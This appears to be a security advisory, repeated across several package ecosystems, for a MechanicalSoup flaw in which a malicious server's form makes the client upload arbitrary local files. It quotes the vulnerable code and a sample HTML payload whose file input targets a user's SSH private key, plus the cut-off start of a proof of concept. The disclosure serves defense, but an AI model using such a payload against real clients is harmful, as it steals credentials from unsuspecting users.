MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Affected: PyPI: MechanicalSoup

### Summary A malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form.

### Details This affects the extremely common pattern of form submission:

```python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected() ```

The problem is with the code in `browser.Browser.get_request_kwargs`:

```python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) ```

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

```html <html><body> <form method="post" enctype="multipart/form-data"> <input type="text" name="greeting" value="hello" /> <input type="file" name="evil" value="/home/user/.ssh/id_rsa" /> </form> </body></html> ```

then upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key.

### PoC

```python import attr import mechanicalsoup import requests

class NevermindError(Exception):…

python310-MechanicalSoup-1.3.0-1.1 on GA media

Affected: PyPI: mechanicalsoup

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Affected: Ubuntu:18.04:LTS: python-mechanicalsoup, Ubuntu:20.04:LTS: python-mechanicalsoup, Ubuntu:22.04:LTS: python-mechanicalsoup, Ubuntu:24.04:LTS: python-mechanicalsoup, Ubuntu:25.10: python-mechanicalsoup, Ubuntu:26.04:LTS: python-mechanicalsoup

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.